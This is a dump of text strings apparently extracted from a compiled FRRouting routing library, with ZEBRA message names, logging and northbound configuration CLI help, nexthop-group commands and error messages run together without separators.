[bt %d] %p[bt %d] %sUnknown errorkernelstaticripeigrpospfisisbgpvncvnc-directnhrpbabelsharpopenfabricripngospf6%016lx: %02x %.*s\n\r\t\x%02hhxlib/log.c(long)srczrouteZEBRA_INTERFACE_ADDZEBRA_INTERFACE_DELETEZEBRA_INTERFACE_ADDRESS_ADDZEBRA_INTERFACE_UPZEBRA_INTERFACE_DOWNZEBRA_INTERFACE_SET_MASTERZEBRA_INTERFACE_SET_PROTODOWNZEBRA_ROUTE_ADDZEBRA_ROUTE_DELETEZEBRA_ROUTE_NOTIFY_OWNERZEBRA_REDISTRIBUTE_ADDZEBRA_REDISTRIBUTE_DELETEZEBRA_ROUTER_ID_ADDZEBRA_ROUTER_ID_DELETEZEBRA_ROUTER_ID_UPDATEZEBRA_HELLOZEBRA_CAPABILITIESZEBRA_NEXTHOP_REGISTERZEBRA_NEXTHOP_UNREGISTERZEBRA_NEXTHOP_UPDATEZEBRA_BFD_DEST_REGISTERZEBRA_BFD_DEST_DEREGISTERZEBRA_BFD_DEST_UPDATEZEBRA_BFD_DEST_REPLAYZEBRA_REDISTRIBUTE_ROUTE_ADDZEBRA_REDISTRIBUTE_ROUTE_DELZEBRA_VRF_UNREGISTERZEBRA_VRF_ADDZEBRA_VRF_DELETEZEBRA_VRF_LABELZEBRA_INTERFACE_VRF_UPDATEZEBRA_BFD_CLIENT_REGISTERZEBRA_BFD_CLIENT_DEREGISTERZEBRA_INTERFACE_ENABLE_RADVZEBRA_INTERFACE_DISABLE_RADVZEBRA_NEXTHOP_LOOKUP_MRIBZEBRA_INTERFACE_LINK_PARAMSZEBRA_MPLS_LABELS_ADDZEBRA_MPLS_LABELS_DELETEZEBRA_MPLS_LABELS_REPLACEZEBRA_SR_POLICY_SETZEBRA_SR_POLICY_DELETEZEBRA_SR_POLICY_NOTIFY_STATUSZEBRA_IPMR_ROUTE_STATSZEBRA_LABEL_MANAGER_CONNECTZEBRA_GET_LABEL_CHUNKZEBRA_RELEASE_LABEL_CHUNKZEBRA_FEC_REGISTERZEBRA_FEC_UNREGISTERZEBRA_FEC_UPDATEZEBRA_ADVERTISE_DEFAULT_GWZEBRA_ADVERTISE_SVI_MACIPZEBRA_ADVERTISE_SUBNETZEBRA_ADVERTISE_ALL_VNIZEBRA_LOCAL_ES_ADDZEBRA_LOCAL_ES_DELZEBRA_REMOTE_ES_VTEP_ADDZEBRA_REMOTE_ES_VTEP_DELZEBRA_LOCAL_ES_EVI_ADDZEBRA_LOCAL_ES_EVI_DELZEBRA_VNI_ADDZEBRA_VNI_DELZEBRA_L3VNI_ADDZEBRA_L3VNI_DELZEBRA_REMOTE_VTEP_ADDZEBRA_REMOTE_VTEP_DELZEBRA_MACIP_ADDZEBRA_MACIP_DELZEBRA_IP_PREFIX_ROUTE_ADDZEBRA_IP_PREFIX_ROUTE_DELZEBRA_REMOTE_MACIP_ADDZEBRA_REMOTE_MACIP_DELZEBRA_PW_ADDZEBRA_PW_DELETEZEBRA_PW_SETZEBRA_PW_UNSETZEBRA_PW_STATUS_UPDATEZEBRA_RULE_ADDZEBRA_RULE_DELETEZEBRA_RULE_NOTIFY_OWNERZEBRA_TABLE_MANAGER_CONNECTZEBRA_GET_TABLE_CHUNKZEBRA_RELEASE_TABLE_CHUNKZEBRA_IPSET_CREATEZEBRA_IPSET_DESTROYZEBRA_IPSET_ENTRY_ADDZEBRA_IPSET_ENTRY_DELETEZEBRA_IPSET_NOTIFY_OWNERZEBRA_IPTABLE_ADDZEBRA_IPTABLE_DELETEZEBRA_IPTABLE_NOTIFY_OWNERZEBRA_VXLAN_FLOOD_CONTROLZEBRA_VXLAN_SG_ADDZEBRA_VXLAN_SG_DELZEBRA_VXLAN_SG_REPLAYZEBRA_MLAG_PROCESS_UPZEBRA_MLAG_PROCESS_DOWNZEBRA_MLAG_CLIENT_REGISTERZEBRA_MLAG_CLIENT_UNREGISTERZEBRA_MLAG_FORWARD_MSGZEBRA_NHG_ADDZEBRA_NHG_DELZEBRA_NHG_NOTIFY_OWNERZEBRA_EVPN_REMOTE_NH_ADDZEBRA_EVPN_REMOTE_NH_DELZEBRA_SRV6_LOCATOR_ADDZEBRA_SRV6_LOCATOR_DELETEZEBRA_ERRORZEBRA_CLIENT_CAPABILITIESZEBRA_OPAQUE_MESSAGEZEBRA_OPAQUE_REGISTERZEBRA_OPAQUE_UNREGISTERZEBRA_NEIGH_DISCOVERZEBRA_ROUTE_NOTIFY_REQUESTZEBRA_CLIENT_CLOSE_NOTIFYZEBRA_NHRP_NEIGH_ADDEDZEBRA_NHRP_NEIGH_REMOVEDZEBRA_NHRP_NEIGH_GETZEBRA_NHRP_NEIGH_REGISTERZEBRA_NHRP_NEIGH_UNREGISTERZEBRA_NEIGH_IP_ADDZEBRA_NEIGH_IP_DELZEBRA_CONFIGURE_ARPZEBRA_GRE_GETZEBRA_GRE_UPDATEZEBRA_GRE_SOURCE_SETZEBRA_TC_QDISC_INSTALLZEBRA_TC_QDISC_UNINSTALLZEBRA_TC_CLASS_ADDZEBRA_TC_CLASS_DELETEZEBRA_TC_FILTER_ADDZEBRA_TC_FILTER_DELETEpimhslsolsrldpvnc-rnbgp-directbgp-direct-to-nve-groupspbrbfdvrrpsrtewildcardinternal error: route type table out of order while searching for %u, please notify developersinternal error: cannot find route type %u in table!Backtrace for %d stack frames:no thread information available
in thread %s scheduled from %s:%d %s()
Cannot get backtrace, returned invalid # of frames %d (valid range is between 1 and %lu)Cannot get backtrace symbols (out of memory?)Current thread function %s, scheduled from file %s, line %u in %s()Current thread not known/applicableout of memory: failed to allocate %zu bytes for %s objectunknown zserv command type: %u%016lx: (zero length / no data)(int)(fb.pos - fb.buf), fb.bufsize, (unsigned long)(array_size(array))ZEBRA_REDISTRIBUTE_DEFAULT_ADDZEBRA_REDISTRIBUTE_DEFAULT_DELETEZEBRA_INTERFACE_NBR_ADDRESS_ADDZEBRA_INTERFACE_BFD_DEST_UPDATEZEBRA_LABEL_MANAGER_CONNECT_ASYNCZEBRA_DUPLICATE_ADDR_DETECTIONZEBRA_IPSET_ENTRY_NOTIFY_OWNERZEBRA_SRV6_MANAGER_GET_LOCATOR_CHUNKZEBRA_SRV6_MANAGER_RELEASE_LOCATOR_CHUNKzlog_hexdumpzserv_command_stringzroute_lookupzlog_backtrace'd
%% "log monitor" is deprecated and does nothing.
config_log_file: Unable to alloc mem!%s: Path too long ('%s/%s'); system maximum is %u%% ID "%s" is not a log message
level %s, facility %s, ident %s
Filtered-file logging: level %s, filename %s
From command line: "--log syslog --log-level %s"
From command line: "--log stdout --log-level %s"
From command line: "--log file:%s --log-level %s"
invalid log target "%s" ("%s")
! "log syslog %s" enabled by "--log" startup option
! "log stdout %s" enabled by "--log" startup option
! "log file %s %s" enabled by "--log" startup option
! use "clear log cmdline-targets" to remove this target
__func__, cwd, fname, MAXPATHLENNegate a command or set its defaults
Logging control
Output immediately, without buffering
Show running system information
Show current logging configuration
Filter Logs
Reset functions
Logging control
Filter Logs
[no] log filter-text WORD$filterNegate a command or set its defaults
Logging control
Filter Logs
String to filter by
no log filtered-file [FILENAME [LEVEL]]Negate a command or set its defaults
Logging control
Cancel logging to file with string filter
Logging file name
Logging level
log filtered-file FILENAME [<emergencies|alerts|critical|errors|warnings|notifications|informational|debugging>$levelarg]Logging control
Logging to file with string filter
Logging filename
System is unusable
Immediate action needed
Critical conditions
Error conditions
Warning conditions
Normal but significant conditions
Informational messages
Debugging messages
Negate a command or set its defaults
Logging control
Prefix log message text with [XXXXX-XXXXX] identifier
Negate a command or set its defaults
Logging control
Prefix log message text with [EC 9999] code
no log timestamp precision [(0-6)]Negate a command or set its defaults
Logging control
Timestamp configuration
Reset the timestamp precision to the default value of 0
Number of subsecond digits
no_config_log_timestamp_precision_cmdno_config_log_timestamp_precisionLogging control
Timestamp configuration
Set the timestamp precision
Number of subsecond digits
config_log_timestamp_precision_cmdconfig_log_timestamp_precisionNegate a command or set its defaults
Logging control
Do not log the priority of the message within the message
no_config_log_record_priority_cmdLogging control
Log the priority of the message within the message
config_log_record_priority_cmdno log facility [<kern|user|mail|daemon|auth|syslog|lpr|news|uucp|cron|local0|local1|local2|local3|local4|local5|local6|local7>]Negate a command or set its defaults
Logging control
Reset syslog facility to default (daemon)
Kernel
User process
Mail system
System daemons
Authorization system
Syslog itself
Line printer system
USENET news
Unix-to-Unix copy system
Cron/at facility
Local use
Local use
Local use
Local use
Local use
Local use
Local use
Local use
log facility <kern|user|mail|daemon|auth|syslog|lpr|news|uucp|cron|local0|local1|local2|local3|local4|local5|local6|local7>$facilityargLogging control
Facility parameter for syslog messages
Kernel
User process
Mail system
System daemons
Authorization system
Syslog itself
Line printer system
USENET news
Unix-to-Unix copy system
Cron/at facility
Local use
Local use
Local use
Local use
Local use
Local use
Local use
Local use
no log syslog [<kern|user|mail|daemon|auth|syslog|lpr|news|uucp|cron|local0|local1|local2|local3|local4|local5|local6|local7>] [<emergencies|alerts|critical|errors|warnings|notifications|informational|debugging>]Negate a command or set its defaults
Logging control
Cancel logging to syslog
Kernel
User process
Mail system
System daemons
Authorization system
Syslog itself
Line printer system
USENET news
Unix-to-Unix copy system
Cron/at facility
Local use
Local use
Local use
Local use
Local use
Local use
Local use
Local use
System is unusable
Immediate action needed
Critical conditions
Error conditions
Warning conditions
Normal but significant conditions
Informational messages
Debugging messages
log syslog [<emergencies|alerts|critical|errors|warnings|notifications|informational|debugging>$levelarg]Logging control
Set syslog logging level
System is unusable
Immediate action needed
Critical conditions
Error conditions
Warning conditions
Normal but significant conditions
Informational messages
Debugging messages
no log file [FILENAME [LEVEL]]Negate a command or set its defaults
Logging control
Cancel logging to file
Logging file name
Logging level
log file FILENAME [<emergencies|alerts|critical|errors|warnings|notifications|informational|debugging>$levelarg]Logging control
Logging to file
Logging filename
System is unusable
Immediate action needed
Critical conditions
Error conditions
Warning conditions
Normal but significant conditions
Informational messages
Debugging messages
Reset functions
Logging control
Disable log targets specified at startup by --log option
[no] debug unique-id UID backtraceNegate a command or set its defaults
Debugging functions
Options per individual log message, by unique ID
Log message unique ID (XXXXX-XXXXX)
Add backtrace to log when message is printed
no log monitor [<emergencies|alerts|critical|errors|warnings|notifications|informational|debugging>]Negate a command or set its defaults
Logging control
Disable terminal line (monitor) logging
System is unusable
Immediate action needed
Critical conditions
Error conditions
Warning conditions
Normal but significant conditions
Informational messages
Debugging messages
log monitor [<emergencies|alerts|critical|errors|warnings|notifications|informational|debugging>]Logging control
Set terminal line (monitor) logging level
System is unusable
Immediate action needed
Critical conditions
Error conditions
Warning conditions
Normal but significant conditions
Informational messages
Debugging messages
no log stdout [<emergencies|alerts|critical|errors|warnings|notifications|informational|debugging>]Negate a command or set its defaults
Logging control
Cancel logging to stdout
System is unusable
Immediate action needed
Critical conditions
Error conditions
Warning conditions
Normal but significant conditions
Informational messages
Debugging messages
log stdout [<emergencies|alerts|critical|errors|warnings|notifications|informational|debugging>$levelarg]Logging control
Set stdout logging level
System is unusable
Immediate action needed
Critical conditions
Error conditions
Warning conditions
Normal but significant conditions
Informational messages
Debugging messages
Show running system information
Show current logging configuration
%s/%scan't open logfile %s
precision_strprecisionuidremoveapply%% filter table full
%% failed to %s log filter
%% failed to get filters
???kernfacilityargemergencieslevelargSyslog logging: disabled
enableddisabledStdout logging: level %sFile logging: level %s, filename %sProtocol name: %s
Record priority: %s
Timestamp precision: %d
invalid log level "%s"
invalid monitor fd "%s"
log file %slog filtered-file %slog stdoutlog sysloglog facility %s
log record-priority
log timestamp precision %d
no log error-category
no log unique-id
debug unique-id %s backtrace
log_vty_initlib/log_vty.c[no] log immediate-modelog_immediate_mode_cmdlog_immediate_modeshow logging filter-textshow_log_filter_cmdshow_log_filterclear log filter-textlog_filter_clear_cmdlog_filter_clearno_config_log_filterfile_cmdno_config_log_filterfile[no] log unique-idconfig_log_xid_cmdconfig_log_xid[no] log error-categoryconfig_log_ec_cmdconfig_log_eclog timestamp precision (0-6)no log record-priorityno_config_log_record_priorityno_config_log_facility_cmdno_config_log_facilityno_config_log_syslog_cmdno_config_log_syslogno_config_log_file_cmdno_config_log_fileclear log cmdline-targetsclear_log_cmdline_cmdclear_log_cmdlinedebug_uid_backtrace_cmddebug_uid_backtraceno_config_log_monitor_cmdno_config_log_monitorno_config_log_stdout_cmdno_config_log_stdoutshow loggingshow_logging_cmdshow_loggingalertscriticalwarningsinformationalmaillprnewsuucpcronftplocal0local1local2local3local4local5local6local7/run/systemd/journal/socketzlog_cli_showzlog_rotatelog_cmd_initset_log_file(variably sized)%10zulib/memory.cmt->n_allocBitfield memoryTemporary memorylibfrr%s: showing active allocations in memory group %s
%s: memstats:  %-30s: %6zu * %s
mt_count_freeNONEPRIMARYSECONDARYDe-RegisterMroute addMroute delMlag ReplayMroute Add BatchMroute Del BatchMlag StatusMlag vxlan updateMlag Peer FRR StatusUnknown %d4LdĄ%s/%s_%s.soloader error: dlopen(%s): %s%s/%s.sofrr_module"%s" is not an FRR module: %smodule "%s" already loadedlib/module.clibfrr core moduleModule loading errorModule loading argumentsModule loading namemodule "%s" initialisation failedIPv4 Explicit NullRouter AlertIPv6 Explicit Nullimplicit-nullEntropy Label IndicatorGeneric Associated ChannelOAM AlertExtensionReserved (%u)pP0ВEnd.XEnd.TEnd.DX2End.DX6End.DX4End.DT6End.DT4End.B6End.B6.EncapEnd.BMEnd.SEnd.ASEnd.AMEnd.DT46unspecUSPnh6 %pI6nh4 %pI4table %uunknown(%s)protoblockBitsLengthnodeBitsLengthfunctionBitsLengthargumentBitsLengthsessionIdusidbehaviorstatusUpchunksalgoNumlib/srv6.cSRV6 locator chunkSRV6 locatorГ 0@P`pL,ܔLܔܔLLLLLLLܔsrv6_locator_detailed_jsonsrv6_locator_jsonseg6local_context2str@fcntl(F_GETFL) failed for fd %d: %sfcntl failed setting fd %d non-blocking: %sset_nonblockinglib/network.cfd, safe_strerror(errno)8,Ȝxdd,XX8ĭĭܭܭ<	00nexthop_copy_no_recursenexthop_hash%pI4 if %u%pI6 if %ublackhole(null)via is %s%pI4%s%pI6%sdirectly connected, %sunreachable (ICMP unreachable) (ICMP admin-prohibited) (blackhole), %s%slib/nexthop.cDirectly connectedIPv4 nexthopIPv4 nexthop with ifindexIPv6 nexthopIPv6 nexthop with ifindexNull0 nexthopNexthop srv6Nexthop labelNexthopnexthop->backup_num < NEXTHOP_MAX_BACKUPS((sizeof(nexthop->gate) + sizeof(nexthop->src) + sizeof(nexthop->rmap_src)) / 3) == (GATE_SIZE * sizeof(uint32_t))NS %u is created.NS %s is created./proc/self/ns/netCan not enable NS %u: %s!NS %u is enabled.NS %u is to be disabled.NS %u is to be deleted./var/run/netnsInvalid pathname for %s: %s
Invalid pathname for %s: %s%s: default NSID is %ulib/netns_linux.c__func__, default_ns->ns_idcheck_base, NS_NAMSIZ - 1ns->ns_id, ns->namens->name, ns->ns_idNetNS NameNetNS ContextCan not enable NS %s %u: Invalid NSIDNS %u is associated with NETNS %s.NS name (%s) invalid: too long (>%d)
NS name (%s) invalid: too long (>%d)%s: failed to create the default NS!%s: failed to enable the default NS!pathname, safe_strerror(errno)ns->ns_id, safe_strerror(errno)ns_id_get_absolutens_init_managementns_netns_pathnamens_disable_internalns_enable_internalns_deletens_get_created_internalnexthop-group %s
 backup-group %s
 onlink nexthop-vrf %s label %s weight %u backup-idx %sbuckets_strbucketsidle_timerunbalanced_timeridle_timer_strunbalanced_timer_strintfbackup_idx%% Invalid backups
%% Malformed label(s)
nexthop %pI4 %s%pI6 %s backup-idx %d,%dvrfIdtargetVrfbackupIdxlib/nexthop_group.cnexthop->prev == NULLnhg->nexthop == nexthop!nexthop->nextnexthop-group%s(config-nh-group)# ecmp_nexthops_cmdecmp_nexthopsno_nexthop_group_resiliencenexthop_group_resilience_cmdno backup-group [WORD$name]no_nexthop_group_backup_cmdno_nexthop_group_backupbackup-group WORD$nameno nexthop-group NHGNAMEno_nexthop_group_cmdno_nexthop_groupNexthop Group resilient buckets %u idle-timer %u unbalanced-timer %u
Specified a v6 LL with no interface, rejecting
%% Cannot use reserved label(s) (%d-%d)
%% Too many labels. Enter %d or fewer
[no] nexthop        <	  <A.B.C.D|X:X::X:X>$addr [INTERFACE$intf [onlink$onlink]]	  |INTERFACE$intf	>	[{ 	   nexthop-vrf NAME$vrf_name 	   |label WORD            |weight (1-255)            |backup-idx WORD 	}]Negate a command or set its defaults
Specify one of the nexthops in this ECMP group
v4 Address
v6 Address
Interface to use
Treat nexthop as directly attached to the interface
Interface to use
If the nexthop is in a different vrf tell us
The nexthop-vrf Name
Specify label(s) for this nexthop
One or more labels in the range (16-1048575) separated by '/'
Weight to be used by the nexthop for purposes of ECMP
Weight value to be used
Specify backup nexthop indexes in another group
One or more indexes in the range (0-254) separated by ','
no resilient [buckets (1-256) idle-timer (1-4294967295) unbalanced-timer (1-4294967295)]Negate a command or set its defaults
A resilient Nexthop Group
Buckets in the Hash for this Group
Number of buckets
The Idle timer for this Resilient Nexthop Group in seconds
Number of seconds of Idle time
The length of time that the Nexthop Group can be unbalanced
Number of seconds of Unbalanced time
no_nexthop_group_resilience_cmdresilient buckets (1-256) idle-timer (1-4294967295) unbalanced-timer (1-4294967295)A resilient Nexthop Group
Buckets in the Hash for this Group
Number of buckets
The Idle timer for this Resilient Nexthop Group in seconds
Number of seconds of Idle time
The length of time that the Nexthop Group can be unbalanced
Number of seconds of Unbalanced time
Negate a command or set its defaults
Clear group name containing backup nexthops
The name of the backup group
Specify a group name containing backup nexthops
The name of the backup group
Negate a command or set its defaults
Delete the nexthop-group
Specify the NAME of the nexthop-group
Enter into the nexthop-group submode
Specify the NAME of the nexthop-group
9((<dttnexthop_group_writenexthop_group_initnexthop_group_interface_state_changenexthop_group_disable_vrfnexthop_group_enable_vrfnexthop_unlinknexthop_group_unsave_nhop_nexthop_del_nexthop_add_sortednexthop_group_add_sorted%s: failed to find entry [xpath %s]%s: lyd_new_path(%s) failed: %d%s: lyd_new_implicit_all failed: %d%s: dependency: lyd_new_path(%s) failed: %d%s: unknown operation (%u) [xpath %s]northbound callback (get_elem): xpath [%s] list_entry [%p]northbound callback (get_next): node [%s] parent_list_entry [%p] list_entry [%p]northbound callback (get_keys): node [%s] list_entry [%p]northbound callback (lookup_entry): node [%s] parent_list_entry [%p]%s: can't iterate over YANG leaf or leaf-list [xpath %s]%s: data path doesn't support iteration over operational data: %snorthbound callback: event [%s] op [%s] xpath [%s] value [%s]unneeded '%s' callback for '%s'missing '%s' callback for '%s'node has higher priority than its parent [xpath %s]northbound callback: unexpected return value: %serror processing configuration change: error [%s] event [%s] operation [%s] xpath [%s]%s%s%s: failed to validate candidate configurationNo changes to apply were found during preparation phaserunning configuration is locked by another clientthere's already another transaction in progress%s: failed to create transaction: %s%s: failed to record transaction%s: failed to validate northbound callbacks: %u error(s)%s: %s.yang has more than %u nodes. Please increase YANG_MODULE_MAX_NODES to fix this problem.__func__, module->nodes[i].xpathnb_operation_name(operation), nb_node->xpathnb_node->xpath, parent_list_entrynb_node->xpath, parent_list_entry, list_entry%s: unknown event (%u) [xpath %s]nb_err_name(ret), nb_event_name(event), nb_operation_name(operation), xpath, errmsg[0] ? " message: " : "", errmsgnb_event_name(event), nb_operation_name(operation), xpath, value__func__, operation, xpath_editNorthbound Configuration Entry%s: lyd_merge() failed%s[.='%s']/%s:%s%s: failed to get list keys[%s='%s']northbound RPC: %s%s: unknown data path: %s%s: lyd_new_path() failed %soperationnorthbound notification: %sprepareabortmodifydestroypre_validateapply_finishget_elemget_nextget_keyslookup_entryokgeneric errorno changeselement not foundresource is lockedvalidationfailed to allocate resourceinternal inconsistency message: CLIConfDSysrepogRPCRunning Configuration Entriesnorthbound: loading %s.yanglib/northbound.c__func__, module->name, 2000modules[i]->namenb_node->xpath__func__, errors__func__, xpath_bufdnode || xpathi == list_keys.numi < list_keys.num__func__, xpath__func__, errmsgnb_node->xpath, list_entrynb_err_name(ret)__func__, event, xpath__func__, operation, xpath__func__, s!err__func__, dep_xpath, err__func__, err__func__, xpath_edit, errsnode->priv == NULLnb_notification_sendNorthbound ConfigurationNorthbound Node0hp  88H$4D(8HXhhHHPnb_load_callbacksnb_initnb_node_validate_prioritynb_node_validate_cbnb_validate_callbacksnb_running_get_entry_workernb_running_unset_entrynb_running_move_treenb_notification_sendnb_oper_data_iter_listnb_oper_data_iteratenb_callback_rpcnb_callback_lookup_entrynb_callback_get_keysnb_callback_get_nextnb_callback_get_elemnb_candidate_commit_applynb_candidate_commit_preparenb_callback_movenb_callback_destroynb_callback_modifynb_callback_createnb_callback_configurationnb_log_config_callbacknb_callback_pre_validatenb_config_diffnb_candidate_editnb_config_mergenb_node_new_cbError type: %s
Error description: %s
%% Configuration failed.

max_strtransaction_idtransaction_id_str%s: lyd_parse_path() failed%% Update is not necessary.

xmltranslator_familyreplace%% Failed to load "%s"

with_config1.11.0%c%c%s|%s|%s|%s|%sNo YANG modules to display.

yin%% Module "%s" not found
%s|%s|%s|%.2fcbscbs_cfgcbs_statecbs_rpcnorthbound- %% Commit complete.

forceconfirmedConfiguration:
with_defaults%s: mkstemp() failed: %s%s: fchmod() failed: %s(%d):diff -u %s %sc1_candidatec1_runningc1_tidc2_candidatec2_runningc2_tidlib/northbound_cli.c(listnode)->data != NULLlistnode!vty->pending_commitnorthbound debugnb_client_debug_config_writedebug_nb_cmddebug_nbnb_client_debug_set_alldebug northbound eventsdebug northbound libyangrollback_config_cmdrollback_configshow yang module-translatorshow_yang_module_translatorshow_yang_module_detail_cmdshow_yang_module_detailshow_yang_module_cmdshow_yang_moduleshow_yang_operational_datashow_config_transaction_cmdshow_config_transactionyang_module_translator_loadclear_config_transactions_cmdclear_config_transactionsshow_config_compareshow_config_compare_cmdshow_config_candidate_sectionshow_config_candidate_cmdshow_config_candidateshow_config_running_cmdshow_config_runningconfig_load_cmdconfig_loadconfig_discard_cmdconfig_discardconfig_update_cmdconfig_updatecommit checkconfig_commit_check_cmdconfig_commit_checkconfig_commit_comment_cmdconfig_commit_commentconfig_commit_cmdconfig_commitconfigure privateconfig_private_cmdconfig_privateconfigure exclusiveconfig_exclusive_cmdconfig_exclusivelibyang debuggingNorthbound eventsNorthbound notificationsNorthbound callbacks: RPCsNorthbound callbacks: stateThe following commands were dynamically grouped into the same transaction and rejected:
%s%% FRR was compiled without --enable-config-rollbacks.

%% Failed to load configuration.

Please check the logs for more details.
%% Failed to load configuration:

%% Failed to translate configuration
%% Failed to merge the loaded configuration:

%% Transaction %u does not exist.

%s: lyd_new_path(%s) failed: %s%% Failed to validate candidate configuration.

%% Candidate configuration validated successfully.

%% Failed to update the candidate configuration.

%% Candidate configuration updated successfully.

%% Module translator "%s" not found
%% Module translator "%s" loaded successfully.

%% Failed to fetch operational data.
%% Failed to display operational data.
Module|Version|Revision|Flags|Namespace Flags: I - Implemented, D - Deviated

%% libyang v2 does not currently support summary
%% Error generating module information
Family|Module|Deviations|Coverage (%%)No YANG module translators to display.

Current configuration object was deleted by another process.

%s: failed to edit candidate configuration: operation [%s] xpath [%s]%% Failed to edit configuration.

%% Exceeded the maximum number of changes (%u) for a single command

%% Resetting confirmed-commit timeout to %u minute(s)

%% Candidate configuration needs to be updated before commit.

Use the "update" command or "commit force".
%% Configuration committed successfully (Transaction ID #%u).

%% No configuration changes to commit.

%% Failed to commit candidate configuration.

Rollback to previous configuration - confirmed commit has timed outRollback performed successfully (Transaction ID #%u).
Failed to rollback to previous configuration.


Confirmed commit has timed out, rolling back to previous configuration.

%% Failed to process configurations.

%% Failed to generate configuration diff.

%% Transaction %u does not exist

__func__, data->xpath, ly_errmsg(ly_native_ctx)__func__, safe_strerror(errno), errnonb_cli_confirmed_commit_timeout&vty->t_confirmed_commit_timeout__func__, nb_operation_name(change->operation), xpath[no] debug northbound          [<	    callbacks$cbs [{configuration$cbs_cfg|state$cbs_state|rpc$cbs_rpc}]	    |notifications$notifications	    |events$events	    |libyang$libyang          >]Negate a command or set its defaults
Debugging functions
Northbound debugging
Callbacks
Configuration
State
RPC
Notifications
Events
libyang debugging
debug northbound callbacks configurationdebug northbound callbacks statedebug northbound callbacks rpcdebug northbound notificationsrollback configuration (1-4294967295)$transaction_idRollback to a previous state
Running configuration
Transaction ID
Show running system information
YANG information
Show loaded YANG module translators
show_yang_module_translator_cmdshow yang module          [module-translator WORD$translator_family]          WORD$module_name <compiled$compiled|summary|tree$tree|yang$yang|yin$yin>Show running system information
YANG information
Show loaded modules
YANG module translator
YANG module translator
Module name
Display compiled module in YANG format
Display summary information about the module
Display module in the tree (RFC 8340) format
Display module in the YANG format
Display module in the YIN format
show yang module [module-translator WORD$translator_family]Show running system information
YANG information
Show loaded modules
YANG module translator
YANG module translator
show yang operational-data XPATH$xpath         [{	   format <json$json|xml$xml>	   |translate WORD$translator_family	   |with-config$with_config	 }]Show running system information
YANG information
Show YANG operational data
XPath expression specifying the YANG data path
Set the output format
JavaScript Object Notation
Extensible Markup Language
Translate operational data
YANG module translator
Merge configuration data
show_yang_operational_data_cmdshow configuration transaction          [	    (1-4294967295)$transaction_id	    [<json$json|xml$xml> [translate WORD$translator_family]]            [<	      with-defaults$with_defaults	      |changes$changes	     >]	  ]Show running system information
Configuration information
Configuration transaction
Transaction ID
Change output format to JSON
Change output format to XML
Translate output
YANG module translator
Show default values
Show changes compared to the previous transaction
yang module-translator unload WORD$translator_familyYANG related settings
YANG module translator
Unload YANG module translator
Name of the module translator
yang_module_translator_unload_cmdyang_module_translator_unload_familyyang module-translator load FILENAME$filenameYANG related settings
YANG module translator
Load YANG module translator
File name (full path)
yang_module_translator_load_cmdconfiguration database max-transactions (1-100)$maxConfiguration related settings
Configuration database
Set the maximum number of transactions to store
Number of transactions
config_database_max_transactions_cmdconfig_database_max_transactionsclear configuration transactions oldest (1-100)$nReset functions
Configuration activity
Delete transactions from the transactions log
Delete oldest <n> transactions
Number of transactions to delete
show configuration compare          <	    running$c1_running	    |transaction (1-4294967295)$c1_tid	  >          <	    running$c2_running	    |transaction (1-4294967295)$c2_tid	  >	 [<json$json|xml$xml> [translate WORD$translator_family]]Show running system information
Configuration information
Compare two different configurations
Running configuration
Configuration transaction
Transaction ID
Running configuration
Configuration transaction
Transaction ID
Change output format to JSON
Change output format to XML
Translate output
YANG module translator
show_config_compare_without_candidate_cmdshow configuration compare          <	    candidate$c1_candidate	    |running$c1_running	    |transaction (1-4294967295)$c1_tid	  >          <	    candidate$c2_candidate	    |running$c2_running	    |transaction (1-4294967295)$c2_tid	  >	  [<json$json|xml$xml> [translate WORD$translator_family]]Show running system information
Configuration information
Compare two different configurations
Candidate configuration
Running configuration
Configuration transaction
Transaction ID
Candidate configuration
Running configuration
Configuration transaction
Transaction ID
Change output format to JSON
Change output format to XML
Translate output
YANG module translator
Show running system information
show_config_candidate_section_cmdshow configuration candidate          [<json$json|xml$xml> [translate WORD$translator_family]]          [<	    with-defaults$with_defaults	    |changes$changes	   >]Show running system information
Configuration information
Candidate configuration
Change output format to JSON
Change output format to XML
Translate output
YANG module translator
Show default values
Show changes applied in the candidate configuration
show configuration running          [<json$json|xml$xml> [translate WORD$translator_family]]	  [with-defaults$with_defaults]Show running system information
Configuration information
Running configuration
Change output format to JSON
Change output format to XML
Translate output
YANG module translator
Show default values
configuration load          <	    file [<json$json|xml$xml> [translate WORD$translator_family]] FILENAME$filename	    |transaction (1-4294967295)$tid	  >	  [replace$replace]Configuration related settings
Load configuration into candidate
Load configuration file into candidate
Load configuration file in JSON format
Load configuration file in XML format
Translate configuration file
YANG module translator
Configuration file name (full path)
Load configuration from transaction into candidate
Transaction ID
Replace instead of merge
Discard changes in the candidate configuration
Update candidate configuration
Commit changes into the running configuration
Check if the configuration changes are valid
commit [{force$force|confirmed (1-60)}] comment LINE...Commit changes into the running configuration
Force commit even if the candidate is outdated
Rollback this commit unless there is a confirming commit
Timeout in minutes for the commit to be confirmed
Assign a comment to this commit
Comment for this commit (Max 80 characters)
commit [{force$force|confirmed (1-60)}]Commit changes into the running configuration
Force commit even if the candidate is outdated
Rollback this commit unless there is a confirming commit
Timeout in minutes for the commit to be confirmed
Configuration from vty interface
Configure using a private candidate configuration
Configuration from vty interface
Configure exclusively from this terminal
Northbound callbacks: configurationnb_cli_initshow_yang_module_translator_magicnb_cli_oper_data_cbnb_write_confignb_cli_candidate_load_filenb_cli_commitshow_dnode_children_cmdsnb_cli_rpcnb_cli_apply_changes_internal/tmp/frr.tmp.XXX0123456789abcdefCan't create pid lock file %s (%s), exitingCould not lock pid_file %s (%s), exiting.  Please ensure that the daemon is not already runningCould not write pid %d to pid_file %s, rc was %d: %sCould not truncate pid_file %s to %u bytes: %spath, (unsigned int)pidsize, safe_strerror(errno)(int)pid, path, tmp, safe_strerror(errno)lib/pid_output.cpath, safe_strerror(errno)pid_output%s: entries   Description: %s
rangeEntriessequenceStartsequenceEndip%s prefix-list %s:
minimumPrefixLengthmaximumPrefixLengthhitCountreferenceCountseq %lld  ge %d le %ddsequj%% prefix is malformed
   seq %lld %s dldfmprefix_strDENYPERMITaddr_modematch_strno match found
